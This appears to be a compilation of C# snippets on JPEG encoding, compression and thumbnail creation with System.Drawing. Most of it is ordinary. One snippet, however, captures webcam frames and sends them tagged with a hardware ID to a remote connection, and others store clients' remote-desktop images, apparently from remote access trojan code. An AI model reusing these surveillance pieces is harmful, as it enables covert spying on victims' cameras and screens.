public static void Compress(string filePath, string filePath_ystp)
{
Bitmap bmp = null;
ImageCodecInfo ici = null;
System.Drawing.Imaging.Encoder ecd = null;
EncoderParameter ept = null;
EncoderParameters eptS = null;
try
{
bmp = new Bitmap(filePath);
ici = GetImageCoderInfo("image/jpeg");
ecd = System.Drawing.Imaging.Encoder.Quality;
eptS = new EncoderParameters(1);
ept = new EncoderParameter(ecd, 100L);
eptS.Param[0] = ept;
bmp.Save(filePath_ystp, ici, eptS);
}
catch (Exception ex)
{
throw new Exception(ex.Message);
}
finally
{
bmp.Dispose();
ept.Dispose();
eptS.Dispose();
}
}
internal virtual void Save(Stream outputStream, PaginationSettings.FormatEncoding outputFormat)
{
Bitmap bitmap = null;
bool flag = true;
try
{
bitmap = System.Drawing.Image.FromHbitmap(m_hBitmap.Handle);
switch (outputFormat)
{
case PaginationSettings.FormatEncoding.BMP:
bitmap.Save(outputStream, ImageFormat.Bmp);
break;
case PaginationSettings.FormatEncoding.GIF:
bitmap.Save(outputStream, ImageFormat.Gif);
break;
case PaginationSettings.FormatEncoding.JPEG:
bitmap.Save(outputStream, ImageFormat.Jpeg);
break;
case PaginationSettings.FormatEncoding.PNG:
bitmap.Save(outputStream, ImageFormat.Png);
break;
case PaginationSettings.FormatEncoding.TIFF:
if (m_firstImage == null)
{
m_firstImage = bitmap;
flag = false;
m_encoderParameters = new EncoderParameters(2);
m_encoderParameters.Param[0] = new EncoderParameter(Encoder.SaveFlag, 18L);
m_encoderParameters.Param[1] = new EncoderParameter(Encoder.ColorDepth, 24L);
m_firstImage.Save(outputStream, GetEncoderInfo("image/tiff"), m_encoderParameters);
EncoderParameter encoderParameter = m_encoderParameters.Param[0];
m_encoderParameters.Param[0] = new EncoderParameter(Encoder.SaveFlag, 23L);
if (encoderParameter != null)
{
encoderParameter.Dispose();
encoderParameter = null;
}
}
else
{
m_firstImage.SaveAdd(bitmap, m_encoderParameters);
}
break;
}
outputStream.Flush();
}
finally
{
if (flag && bitmap != null)
{
bitmap.Dispose();
bitmap = null;
}
}
}
internal void SaveJpegImage(Image image, Stream stream, long quality)
{
if (_isDisposed)
{
throw new ObjectDisposedException(_className);
}
const string ENCODER_TYPE = "image/jpeg";
ImageCodecInfo myImageCodecInfo = null;
Encoder myEncoder = null;
EncoderParameter myEncoderParameter = null;
EncoderParameters myEncoderParameters = null;
myImageCodecInfo = GetEncoderInfo(ENCODER_TYPE);
myEncoder = Encoder.Quality;
myEncoderParameters = new EncoderParameters(1);
myEncoderParameter = new EncoderParameter(myEncoder, quality);
myEncoderParameters.Param[0] = myEncoderParameter;
try
{
image.Save(stream, myImageCodecInfo, myEncoderParameters);
}
finally
{
image = null;
myEncoderParameters.Dispose();
myEncoderParameter.Dispose();
}
}
public void Dispose()
{
_bitMap.Dispose();
_myEncoderParameters.Dispose();
_filePath = null;
_myEncoderParameter.Dispose();
}
private static void CaptureRun(object sender, NewFrameEventArgs e)
{
try
{
if (Connection.IsConnected)
{
if (IsOk == true)
{
Bitmap image = (Bitmap)e.Frame.Clone();
using (Camstream = new MemoryStream())
{
System.Drawing.Imaging.Encoder myEncoder = System.Drawing.Imaging.Encoder.Quality;
EncoderParameters myEncoderParameters = new EncoderParameters(1);
EncoderParameter myEncoderParameter = new EncoderParameter(myEncoder, Quality);
myEncoderParameters.Param[0] = myEncoderParameter;
ImageCodecInfo jpgEncoder = GetEncoder(ImageFormat.Jpeg);
image.Save(Camstream, jpgEncoder, myEncoderParameters);
myEncoderParameters?.Dispose();
myEncoderParameter?.Dispose();
image?.Dispose();
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "webcam";
msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid;
msgpack.ForcePathObject("Command").AsString = "capture";
msgpack.ForcePathObject("Image").SetAsBytes(Camstream.ToArray());
Connection.Send(msgpack.Encode2Bytes());
Thread.Sleep(1);
}
}
}
else
{
new Thread(() =>
{
try
{
CaptureDispose();
Connection.Disconnected();
}
catch { }
}).Start();
}
}
catch (Exception ex)
{
new Thread(() =>
{
try
{
CaptureDispose();
Connection.Disconnected();
}
catch { }
}).Start();
Debug.WriteLine("CaptureRun: " + ex.Message);
}
}
public static void CreateThumbnail(string sourceFilename, string destFilename, int width, int height)
{
Image image = Image.FromFile(sourceFilename);
if ((image.Width > width ? true : image.Height > height))
{
int num = image.Width;
int num1 = image.Height;
float single = height / (float)num1;
if (width / (float)num < single)
{
single = width / (float)num;
}
width = (int)(num * single);
height = (int)(num1 * single);
Image bitmap = new Bitmap(width, height);
Graphics graphic = Graphics.FromImage(bitmap);
graphic.Clear(Color.White);
graphic.InterpolationMode = InterpolationMode.HighQualityBicubic;
graphic.SmoothingMode = SmoothingMode.HighQuality;
graphic.DrawImage(image, new Rectangle(0, 0, width, height), new Rectangle(0, 0, num, num1), GraphicsUnit.Pixel);
EncoderParameters encoderParameter = new EncoderParameters();
EncoderParameter encoderParameter1 = new EncoderParameter(Encoder.Quality, (long)100);
encoderParameter.Param[0] = encoderParameter1;
ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders();
ImageCodecInfo imageCodecInfo = null;
int num2 = 0;
while (num2 < imageEncoders.Length)
{
if (!imageEncoders[num2].FormatDescription.Equals("JPEG"))
{
num2++;
}
else
{
imageCodecInfo = imageEncoders[num2];
break;
}
}
bitmap.Save(destFilename, imageCodecInfo, encoderParameter);
encoderParameter.Dispose();
encoderParameter1.Dispose();
image.Dispose();
bitmap.Dispose();
graphic.Dispose();
}
else
{
File.Copy(sourceFilename, destFilename, true);
image.Dispose();
}
}
/// <summary>
/// 生成缩略图
/// </summary>
/// <param name="originalImagePath">源文件</param>
/// <param name="thumbnailPath">缩略图</param>
/// <param name="width">宽</param>
/// <param name="height">高</param>
/// <param name="mode"></param>
public static void MakeThumbnail(string originalImagePath,
string thumbnailPath,
int width = 120, int height = 90, string mode = "H")
{
Image image = Image.FromFile(originalImagePath);
if (image.Width <= width && image.Height <= height)
{
File.Copy(originalImagePath, thumbnailPath, true);
image.Dispose();
}
else
{
int width2 = image.Width;
int height2 = image.Height;
float num = (float)height / (float)height2;
if ((float)width / (float)width2 < num)
{
num = (float)width / (float)width2;
}
width = (int)((float)width2 * num);
height = (int)((float)height2 * num);
Image image2 = new Bitmap(width, height);
Graphics graphics = Graphics.FromImage(image2);
graphics.Clear(Color.White);
graphics.InterpolationMode = InterpolationMode.HighQualityBicubic;
graphics.SmoothingMode = SmoothingMode.HighQuality;
graphics.DrawImage(image, new Rectangle(0, 0, width, height), new Rectangle(0, 0, width2, height2), GraphicsUnit.Pixel);
EncoderParameters encoderParameters = new EncoderParameters();
EncoderParameter encoderParameter = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, 100L);
encoderParameters.Param[0] = encoderParameter;
ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders();
ImageCodecInfo encoder = null;
int num2 = 0;
while (num2 < imageEncoders.Length)
{
if (!imageEncoders[num2].FormatDescription.Equals("JPEG"))
{
num2++;
continue;
}
encoder = imageEncoders[num2];
break;
}
image2.Save(thumbnailPath, encoder, encoderParameters);
encoderParameters.Dispose();
encoderParameter.Dispose();
image.Dispose();
image2.Dispose();
graphics.Dispose();
}
}
public void EndReport(PaginationSettings.FormatEncoding outputFormat)
{
if (outputFormat == PaginationSettings.FormatEncoding.TIFF)
{
EncoderParameter encoderParameter = this.m_encoderParameters.Param[0];
this.m_encoderParameters.Param[0] = new EncoderParameter(Encoder.SaveFlag, 20L);
if (encoderParameter != null)
{
encoderParameter.Dispose();
encoderParameter = null;
}
this.m_firstImage.SaveAdd(this.m_encoderParameters);
}
}
/// <summary>
/// 图片压缩(降低质量以减小文件的大小)
/// </summary>
/// <param name="srcBitmap">传入的Bitmap对象</param>
/// <param name="destStream">压缩后的Stream对象</param>
/// <param name="level">压缩等级，0到100，0 最差质量，100 最佳</param>
public static void Compress(Image img, Stream destStream, long level = 60)
{
using (Bitmap bitmap = new Bitmap(img))
{
ImageCodecInfo CodecInfo = GetEncoder(img.RawFormat);
System.Drawing.Imaging.Encoder myEncoder = System.Drawing.Imaging.Encoder.Quality;
EncoderParameters myEncoderParameters = new EncoderParameters(1);
EncoderParameter myEncoderParameter = new EncoderParameter(myEncoder, level);
myEncoderParameters.Param[0] = myEncoderParameter;
bitmap.Save(destStream, CodecInfo, myEncoderParameters);
myEncoderParameters.Dispose();
myEncoderParameter.Dispose();
}
}
public static void CreateThumbnail(string sourceFilename, string destFilename, int width, int height)
{
Image image = Image.FromFile(sourceFilename);
if (image.Width <= width && image.Height <= height)
{
File.Copy(sourceFilename, destFilename, true);
image.Dispose();
}
else
{
int imgWidth = image.Width;
int imgHeight = image.Height;
float scale = (float)height / (float)imgHeight;
if ((float)width / (float)imgWidth < scale)
{
scale = (float)width / (float)imgWidth;
}
width = (int)((float)imgWidth * scale);
height = (int)((float)imgHeight * scale);
Image thumbnial = new Bitmap(width, height);
Graphics graphics = Graphics.FromImage(thumbnial);
graphics.Clear(Color.White);
graphics.InterpolationMode = InterpolationMode.HighQualityBicubic;
graphics.SmoothingMode = SmoothingMode.HighQuality;
graphics.DrawImage(image, new Rectangle(0, 0, width, height), new Rectangle(0, 0, imgWidth, imgHeight), GraphicsUnit.Pixel);
EncoderParameters encoderParameters = new EncoderParameters();
EncoderParameter encoderParameter = new EncoderParameter(Encoder.Quality, 100L);
encoderParameters.Param[0] = encoderParameter;
ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders();
ImageCodecInfo encoder = null;
for (int i = 0; i < imageEncoders.Length; i++)
{
if (imageEncoders[i].FormatDescription.Equals("JPEG"))
{
encoder = imageEncoders[i];
break;
}
}
thumbnial.Save(destFilename, encoder, encoderParameters);
encoderParameters.Dispose();
encoderParameter.Dispose();
image.Dispose();
thumbnial.Dispose();
graphics.Dispose();
}
}
/// <summary>
/// compression image by 50 percent
/// </summary>
/// <param name="imagepath"></param>
/// <param name="savepath"></param>
public static void VaryQualityLevel(string imagepath, string savepath)
{
using (Bitmap bmp1 = new Bitmap(@imagepath))
{
EncoderParameters myEncoderParameters = null;
EncoderParameter myEncoderParameter = null;
try
{
ImageCodecInfo jpgEncoder = GetEncoder(ImageFormat.Jpeg);
System.Drawing.Imaging.Encoder myEncoder = System.Drawing.Imaging.Encoder.Quality;
myEncoderParameters = new EncoderParameters(1);
myEncoderParameter = new EncoderParameter(myEncoder, 50L);
myEncoderParameters.Param[0] = myEncoderParameter;
bmp1.Save(@savepath, jpgEncoder, myEncoderParameters);
if (myEncoderParameter != null)
{
myEncoderParameter.Dispose();
}
if (myEncoderParameters != null)
{
myEncoderParameters.Dispose();
}
}
catch
{
if (myEncoderParameter != null)
{
myEncoderParameter.Dispose();
}
if (myEncoderParameters != null)
{
myEncoderParameters.Dispose();
}
throw;
}
}
}
/// <summary>
/// 压缩图片
/// </summary>
/// <param name="filePath">要压缩的图片的路径</param>
/// <param name="filePath_ystp">压缩后的图片的路径</param>
public void ystp(HttpPostedFile uploadFile, string newFileFullName)
{
if (uploadFile.ContentLength <= 0)
{
return;
}
//Bitmap
Bitmap bmp = null;
//ImageCoderInfo
ImageCodecInfo ici = null;
//Encoder
Encoder ecd = null;
//EncoderParameter
EncoderParameter ept = null;
//EncoderParameters
EncoderParameters eptS = null;
try
{
bmp = new Bitmap(uploadFile.InputStream);
ici = this.getImageCoderInfo("image/jpeg");
ecd = Encoder.Quality;
eptS = new EncoderParameters(1);
ept = new EncoderParameter(ecd, 30L);
eptS.Param[0] = ept;
bmp.Save(Server.MapPath("~/upload/12.jpg"), ici, eptS);
}
catch (Exception ex)
{
throw new Exception(ex.Message);
}
finally
{
bmp.Dispose();
ept.Dispose();
eptS.Dispose();
}
}
static public void PngToJpg(string source)
{
Bitmap im = new Bitmap(source);
var eps = new EncoderParameters(1);
var ep = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, 85L);
eps.Param[0] = ep;
var jpsEncodeer = GetEncoder(ImageFormat.Jpeg);
im.Save(source.Replace(Path.GetFileNameWithoutExtension(source), Path.GetFileNameWithoutExtension(source) + "-T"), jpsEncodeer, eps);
im.Dispose();
ep.Dispose();
eps.Dispose();
File.Delete(source);
File.Move(source.Replace(Path.GetFileNameWithoutExtension(source), Path.GetFileNameWithoutExtension(source) + "-T"), source);
}
public static void BmpToJpg(Bitmap srcBitmap, string decPath)
{
//转成jpg
var eps = new EncoderParameters(1);
var ep = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, 85L);
eps.Param[0] = ep;
var jpsEncodeer = GetEncoder(ImageFormat.Jpeg);
//保存图片
srcBitmap.Save(decPath, jpsEncodeer, eps);
//释放资源
srcBitmap.Dispose();
ep.Dispose();
eps.Dispose();
}
public static void CreateThumbnail(string sourceFilename, string destFilename, int width, int height)
{
Image image = Image.FromFile(sourceFilename);
if ((image.Width <= width) && (image.Height <= height))
{
File.Copy(sourceFilename, destFilename, true);
image.Dispose();
}
else
{
int num = image.Width;
int num2 = image.Height;
float num3 = ((float)height) / ((float)num2);
if ((((float)width) / ((float)num)) < num3)
{
num3 = ((float)width) / ((float)num);
}
width = (int)(num * num3);
height = (int)(num2 * num3);
Image image2 = new Bitmap(width, height);
Graphics graphics = Graphics.FromImage(image2);
graphics.Clear(Color.White);
graphics.InterpolationMode = InterpolationMode.HighQualityBicubic;
graphics.SmoothingMode = SmoothingMode.HighQuality;
graphics.DrawImage(image, new Rectangle(0, 0, width, height), new Rectangle(0, 0, num, num2), GraphicsUnit.Pixel);
EncoderParameters encoderParams = new EncoderParameters();
EncoderParameter parameter = new EncoderParameter(Encoder.Quality, 100L);
encoderParams.Param[0] = parameter;
ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders();
ImageCodecInfo encoder = null;
for (int i = 0; i < imageEncoders.Length; i++)
{
if (imageEncoders[i].FormatDescription.Equals("JPEG"))
{
encoder = imageEncoders[i];
break;
}
}
image2.Save(destFilename, encoder, encoderParams);
encoderParams.Dispose();
parameter.Dispose();
image.Dispose();
image2.Dispose();
graphics.Dispose();
}
}
public static void SaveQuality(Image image, string path)
{
ImageCodecInfo info = ImageCodecInfo.GetImageEncoders()[0];
Encoder quality = Encoder.Quality;
EncoderParameters encoderParams = new EncoderParameters(1);
EncoderParameter parameter = new EncoderParameter(quality, 100L);
encoderParams.Param[0] = parameter;
try
{
image.Save(path, info, encoderParams);
}
finally
{
parameter.Dispose();
encoderParams.Dispose();
}
}
/// <summary>
/// 生成缩略图纯数据
/// </summary>
/// <param name="data1">数据1</param>
/// <param name="data2">数据2</param>
/// <param name="LimitW">限宽</param>
/// <param name="LimitH">限高</param>
static public void CreateThumbnail(byte[] data1, out byte[] data2, double LimitW, double LimitH)
{
System.Drawing.Image image = System.Drawing.Image.FromStream(new MemoryStream(data1)) as System.Drawing.Bitmap;
System.Drawing.SizeF size = new System.Drawing.SizeF(image.Width, image.Height);
size.Width = (float)LimitW;
size.Height = (float)LimitH;
if (size.Height <= 0)
{
size.Height = image.Height * size.Width / image.Width;
}
if (size.Width <= 0)
{
size.Width = image.Width * size.Height / image.Height;
}
System.Drawing.Image bitmap = new System.Drawing.Bitmap(Convert.ToInt16(size.Width), Convert.ToInt16(size.Height));
System.Drawing.Graphics g = System.Drawing.Graphics.FromImage(bitmap);
g.SmoothingMode = SmoothingMode.HighQuality;
g.InterpolationMode = InterpolationMode.HighQualityBicubic;
g.Clear(Color.Transparent);
Rectangle rect = new Rectangle(0, 0, bitmap.Width, bitmap.Height);
g.DrawImage(image, rect, new System.Drawing.Rectangle(0, 0, image.Width, image.Height), System.Drawing.GraphicsUnit.Pixel);
ImageCodecInfo myImageCodecInfo;
System.Drawing.Imaging.Encoder myEncoder;
EncoderParameter myEncoderParameter;
EncoderParameters myEncoderParameters;
myImageCodecInfo = ImageCodecInfo.GetImageEncoders()[0];
myEncoder = System.Drawing.Imaging.Encoder.Quality;
myEncoderParameters = new EncoderParameters(1);
myEncoderParameter = new EncoderParameter(myEncoder, 0L);
myEncoderParameters.Param[0] = myEncoderParameter;
MemoryStream ms = new MemoryStream();
bitmap.Save(ms, myImageCodecInfo, myEncoderParameters);
data2 = ms.ToArray();
myEncoderParameter.Dispose();
myEncoderParameters.Dispose();
image.Dispose();
bitmap.Dispose();
g.Dispose();
ms.Dispose();
}
private void TimerSave_Tick(object sender, EventArgs e)
{
try
{
if (!Directory.Exists(FullPath))
{
Directory.CreateDirectory(FullPath);
}
Encoder myEncoder = Encoder.Quality;
EncoderParameters myEncoderParameters = new EncoderParameters(1);
EncoderParameter myEncoderParameter = new EncoderParameter(myEncoder, 50L);
myEncoderParameters.Param[0] = myEncoderParameter;
ImageCodecInfo jpgEncoder = GetEncoder(ImageFormat.Jpeg);
pictureBox1.Image.Save(FullPath + $"\\IMG_{DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss")}.jpeg", jpgEncoder, myEncoderParameters);
myEncoderParameters?.Dispose();
myEncoderParameter?.Dispose();
}
catch { }
}
public static void saveJPG(string jpgPath)
{
Bitmap im = GetDesktopImage();
//转成jpg
var eps = new EncoderParameters(1);
var ep = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, 50L);
eps.Param[0] = ep;
var jpsEncodeer = GetEncoder(ImageFormat.Jpeg);
//保存图片
//string imgurl = @"/Content/Upload/" + guid + extension;
im.Save(jpgPath, jpsEncodeer, eps);
//释放资源
im.Dispose();
ep.Dispose();
eps.Dispose();
}
//视频压缩函数
private static byte[] CompressionImage(Bitmap img, long quality)
{
//转成jpg
var eps = new EncoderParameters(1);
var ep = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, 50L);
eps.Param[0] = ep;
var jpsEncodeer = GetEncoder(ImageFormat.Png);
//保存图片
MemoryStream ms = new MemoryStream();
img.Save(ms, jpsEncodeer, eps);
//释放资源
ep.Dispose();
eps.Dispose();
return(ms.ToArray());
}
private void TimerSave_Tick(object sender, EventArgs e)
{
try
{
string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder\\" + C.ID + "\\RemoteDesktop");
if (!Directory.Exists(fullPath))
{
Directory.CreateDirectory(fullPath);
}
Encoder myEncoder = Encoder.Quality;
EncoderParameters myEncoderParameters = new EncoderParameters(1);
EncoderParameter myEncoderParameter = new EncoderParameter(myEncoder, 50L);
myEncoderParameters.Param[0] = myEncoderParameter;
ImageCodecInfo jpgEncoder = GetEncoder(ImageFormat.Jpeg);
pictureBox1.Image.Save(fullPath + $"\\IMG_{DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss")}.jpeg", jpgEncoder, myEncoderParameters);
myEncoderParameters?.Dispose();
myEncoderParameter?.Dispose();
}
catch { }
}
/// <summary>
/// 压缩图片
/// </summary>
/// <param name="sFile"></param>
/// <param name="outPath"></param>
public static void GetPicThumbnail(string sFile, string outPath)
{
Bitmap oImage = new Bitmap(sFile); //从图片文件中读取图片流
Bitmap OldImage = new Bitmap(oImage); //将图片流复制到新的图片流中
oImage.Dispose();
//转成jpg
var eps = new EncoderParameters(1);
var ep = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, 20L);
eps.Param[0] = ep;
var jpsEncodeer = GetEncoder(ImageFormat.Jpeg);
//保存图片
OldImage.Save(outPath, jpsEncodeer, eps);
//释放资源
OldImage.Dispose();
ep.Dispose();
eps.Dispose();
}
static void Main(string[] args)
{
Bitmap im = new Bitmap(@"C:\Users\Administrator\Desktop\1.bmp");
//转成jpg
var eps = new EncoderParameters(1);
var ep = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, 85L);
eps.Param[0] = ep;
var jpsEncodeer = GetEncoder(ImageFormat.Jpeg);
//保存图片
var imgurl = "\\" + Guid.NewGuid().ToString() + ".jpg";
im.Save(Path.GetDirectoryName(@"C:\Users\Administrator\Desktop\无标题.bmp") + imgurl, jpsEncodeer, eps);
//释放资源
im.Dispose();
ep.Dispose();
eps.Dispose();
}
private void CreateImage(string checkCode)
{
Bitmap bt = new Bitmap(45, 18, PixelFormat.Format24bppRgb);
Graphics g = Graphics.FromImage(bt);
//g.TextRenderingHint = System.Drawing.Text.TextRenderingHint.AntiAlias;//平滑
g.InterpolationMode = System.Drawing.Drawing2D.InterpolationMode.High;
g.SmoothingMode = System.Drawing.Drawing2D.SmoothingMode.HighQuality;
g.Clear(Color.FromArgb(255, 255, 255));//背景颜色
Font fn1 = new Font("Arial", 12, FontStyle.Regular, GraphicsUnit.Pixel);
System.Drawing.Brush b = new System.Drawing.SolidBrush(Color.FromArgb(153, 0, 0));
g.DrawString(checkCode, fn1, b, new PointF(0, 0));
ImageCodecInfo myImageCodecInfo;
Encoder myEncoder;
EncoderParameter myEncoderParameter;
EncoderParameters myEncoderParameters;
myImageCodecInfo = ImageCodecInfo.GetImageEncoders()[0];
myEncoder = Encoder.Quality;
myEncoderParameters = new EncoderParameters(1);
myEncoderParameter = new EncoderParameter(myEncoder, 100L);
myEncoderParameters.Param[0] = myEncoderParameter;
System.IO.MemoryStream ms = new System.IO.MemoryStream();
bt.Save(ms, myImageCodecInfo, myEncoderParameters);
Response.ClearContent();
Response.ContentType = "image/Jpeg";
Response.BinaryWrite(ms.ToArray());
myEncoderParameter.Dispose();
myEncoderParameters.Dispose();
b.Dispose();
g.Dispose();
bt.Dispose();
Response.End();
}
/// <summary>
/// 压缩 /// </summary>
/// <param name="fileStream">图片流</param>
/// <param name="quality">压缩质量0-100之间 数值越大质量越高</param>
/// <returns></returns>
private static byte[] CompressionImage(Stream fileStream, long quality)
{
using (System.Drawing.Image img = System.Drawing.Image.FromStream(fileStream))
{
using (Bitmap bitmap = new Bitmap(img))
{
ImageCodecInfo CodecInfo = GetEncoder(img.RawFormat);
System.Drawing.Imaging.Encoder myEncoder = System.Drawing.Imaging.Encoder.Quality;
EncoderParameters myEncoderParameters = new EncoderParameters(1);
EncoderParameter myEncoderParameter = new EncoderParameter(myEncoder, quality);
myEncoderParameters.Param[0] = myEncoderParameter;
using (MemoryStream ms = new MemoryStream())
{
bitmap.Save(ms, CodecInfo, myEncoderParameters);
myEncoderParameters.Dispose();
myEncoderParameter.Dispose();
return(ms.ToArray());
}
}
}
}
private void SaveMultiBitmap(List <Bitmap> bitmapImages, int quality)
{
ImageCodecInfo jpgEncoder = GetEncoder(ImageFormat.Jpeg);
System.Drawing.Imaging.Encoder myEncoder = System.Drawing.Imaging.Encoder.Quality;
EncoderParameters myEncoderParameters = new EncoderParameters(1);
EncoderParameter myEncoderParameter = new EncoderParameter(myEncoder, quality); //90L
myEncoderParameters.Param[0] = myEncoderParameter;
int i = 0;
foreach (Bitmap bitmap in bitmapImages)
{
bitmap.Save(savePath + i + ".jpg", jpgEncoder, myEncoderParameters);
bitmap.Dispose();
i++;
}
myEncoderParameter.Dispose();
myEncoderParameters.Dispose();
}
//图片转为base64编码的字符串
public static string ImgToBase64String(string Imagefilename)
{
Bitmap im0 = new Bitmap(Imagefilename);
Bitmap im = KiResizeImage(im0, 358, 441);
//转成jpg
var eps = new EncoderParameters(1);
var ep = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, 85L);
eps.Param[0] = ep;
var jpsEncodeer = GetEncoder(ImageFormat.Jpeg);
//保存图片
string imgurl = @"D:\photo.jpg";
im.Save(imgurl, jpsEncodeer, eps);
//释放资源
im.Dispose();
ep.Dispose();
eps.Dispose();
byte[] array = File.ReadAllBytes(imgurl);
return(Convert.ToBase64String(array));
}
/// <summary>
/// 高质量保存
/// </summary>
/// <param name="image"></param>
/// <param name="path"></param>
public static void SaveQuality(Image image, String path)
{
ImageCodecInfo myImageCodecInfo;
Encoder myEncoder;
EncoderParameter myEncoderParameter;
EncoderParameters myEncoderParameters;
myImageCodecInfo = ImageCodecInfo.GetImageEncoders()[0];
myEncoder = Encoder.Quality;
myEncoderParameters = new EncoderParameters(1);
myEncoderParameter = new EncoderParameter(myEncoder, 100L); // 0-100
myEncoderParameters.Param[0] = myEncoderParameter;
try
{
image.Save(path, myImageCodecInfo, myEncoderParameters);
}
finally
{
myEncoderParameter.Dispose();
myEncoderParameters.Dispose();
}
}
/// <summary>
/// 壓縮圖片 /// </summary>
/// <param name="fileStream">圖片流</param>
/// <param name="quality">壓縮質量0-100之間 數值越大質量越高</param>
/// <returns></returns>
private static byte[] CompressionImage(Stream fileStream, long quality)
{
using (Image img = Image.FromStream(fileStream))
using (Bitmap bitmap = new Bitmap(img))
{
ImageCodecInfo[] array = ImageCodecInfo.GetImageEncoders();
ImageCodecInfo CodecInfo = array.FirstOrDefault(t => t.FormatDescription.Equals("JPEG"));
//ImageCodecInfo CodecInfo = GetEncoder(img.RawFormat);
Encoder myEncoder = Encoder.Quality;
EncoderParameters myEncoderParameters = new EncoderParameters(1);
EncoderParameter myEncoderParameter = new EncoderParameter(myEncoder, quality);
myEncoderParameters.Param[0] = myEncoderParameter;
using (MemoryStream ms = new MemoryStream())
{
bitmap.Save(ms, CodecInfo, myEncoderParameters);
myEncoderParameters.Dispose();
myEncoderParameter.Dispose();
return(ms.ToArray());
}
}
}
public static void ZoomJpg(string filePath, string filePath_ystp) //压缩图片
{
//Bitmap
Bitmap bmp;
//ImageCoderInfo
ImageCodecInfo ici;
//Encoder
System.Drawing.Imaging.Encoder ecd;
//EncoderParameter
EncoderParameter ept;
//EncoderParameters
EncoderParameters eptS;
try
{
using (FileStream fs = new FileStream(filePath, FileMode.Open))
{
bmp = new Bitmap(fs);
ici = getImageCoderInfo(@"image/jpeg");
ecd = System.Drawing.Imaging.Encoder.Quality;
eptS = new EncoderParameters(1);
ept = new EncoderParameter(ecd, 10L);
eptS.Param[0] = ept;
bmp.Save(filePath_ystp, ici, eptS);
bmp.Dispose();
ept.Dispose();
eptS.Dispose();
}
}
catch
{
}
while (System.IO.File.Exists(filePath))
{
System.IO.File.Delete(filePath);
}
}
public void SaveImage(ImageEventArgs e)
{
ImageCodecInfo myImageCodecInfo;
Encoder myEncoder;
EncoderParameter myEncoderParameter;
EncoderParameters myEncoderParameters;
myImageCodecInfo = GetEncoderInfo(EncoderType);
myEncoder = Encoder.Quality;
myEncoderParameters = new EncoderParameters(1);
myEncoderParameter = new EncoderParameter(myEncoder, imageQuality);
myEncoderParameters.Param[0] = myEncoderParameter;
try
{
string finalFile = System.IO.Path.Combine(e.FullSaveLocation, e.FullFileName) + "." + e.Extension;
e.CapturedImage.Save(finalFile,
myImageCodecInfo, myEncoderParameters);
// e.CapturedImage.Save(finalFile);
// e.CapturedImage.Save("c:\\users\\affan\\desktop\\jjajja.jpeg");
ShowToastForm(finalFile);
//this.Invoke(new ShowToastFormInvoker(ShowToastForm), e.FullSaveLocation + ".jpg");
}
catch(ArgumentException ex)
{
Console.WriteLine(ex.Message);
}
finally
{
myEncoderParameters.Dispose();
myEncoderParameter.Dispose();
}
}